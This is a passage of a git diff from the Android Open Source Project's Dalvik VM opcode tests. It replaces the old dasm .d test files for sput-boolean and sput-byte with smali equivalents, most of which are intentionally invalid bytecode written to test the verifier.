+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_8.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/TestStubs;->TestStubField:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d
deleted file mode 100644
index 6deddd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_9.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_9
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_9noclass.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali
new file mode 100644
index 0000000..f204bd1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_9.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_9noclass;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d
deleted file mode 100644
index ec9b61c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.d
+++ /dev/null
@@ -1,46 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_1.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_1
-.super java/lang/Object
-
-.field public static st_i1 B
-.field protected static st_p1 B
-.field private static st_pvt1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static getPvtField()B
-.limit regs 2
-
-       sget-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_pvt1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali
new file mode 100644
index 0000000..32f2772
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_1.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_1.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:B
+.field protected static st_p1:B
+.field private static st_pvt1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static getPvtField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d
deleted file mode 100644
index f0a420c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_10.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_10
-.super java/lang/Object
-
-.field public st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_10.st_i1N B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali
new file mode 100644
index 0000000..e7f4df0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_10.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_10;->st_i1N:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d
deleted file mode 100644
index 7a3faff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_11.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.TestStubs.TestStubFieldFinal B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali
new file mode 100644
index 0000000..f6d58d0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_11.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/TestStubs;->TestStubFieldFinal:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d
deleted file mode 100644
index 41e2aff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_12.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_12
-.super java/lang/Object
-
-.field public static final st_i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_12.st_i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali
new file mode 100644
index 0000000..636181c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_12.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_12;->st_i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
index 5270328..a31f919 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput_byte.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static byte value = (byte)(5 / 0); 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..37c81f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:B
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput-byte v1, Ldot/junit/opcodes/sput_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali
new file mode 100644
index 0000000..3a3aa7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_13.smalis/T_sput_byte_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_13;
+.super Ljava/lang/Object;
+.source "T_sput_byte_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x1
+
+    sput-byte v1, Ldot/junit/opcodes/sput_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d
deleted file mode 100644
index 1b216a7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_14.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_14
-.super dot/junit/opcodes/sput_byte/d/T_sput_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_byte/d/T_sput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()B
-.limit regs 2
-
-       sget-byte v0, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_p1 B
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 77
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_p1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali
new file mode 100644
index 0000000..7f0aa73
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_14.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_14;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()B
+.registers 2
+
+       sget-byte v0, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 77
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_p1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d
deleted file mode 100644
index 8fd5828..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_15.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_15
-.super dot/junit/opcodes/sput_byte/d/T_sput_byte_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput_byte/d/T_sput_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_1.st_pvt1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali
new file mode 100644
index 0000000..66daaa1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_15.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_15;
+.super  Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_1;->st_pvt1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d
deleted file mode 100644
index 76bd507..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_17.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_17.st_i1 B
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali
new file mode 100644
index 0000000..7206946
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_17.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_17;->st_i1:B
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d
deleted file mode 100644
index 159ef4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_byte_18.java
-.class public dot.junit.opcodes.sput_byte.d.T_sput_byte_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-byte v1, dot.junit.opcodes.sput_byte.d.T_sput_byte_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali
new file mode 100644
index 0000000..6372957
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_byte_18.java"
+.class  public Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-byte v1, Ldot/junit/opcodes/sput_byte/d/T_sput_byte_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d
deleted file mode 100644
index c9520be..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_byte/d/T_sput_byte_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
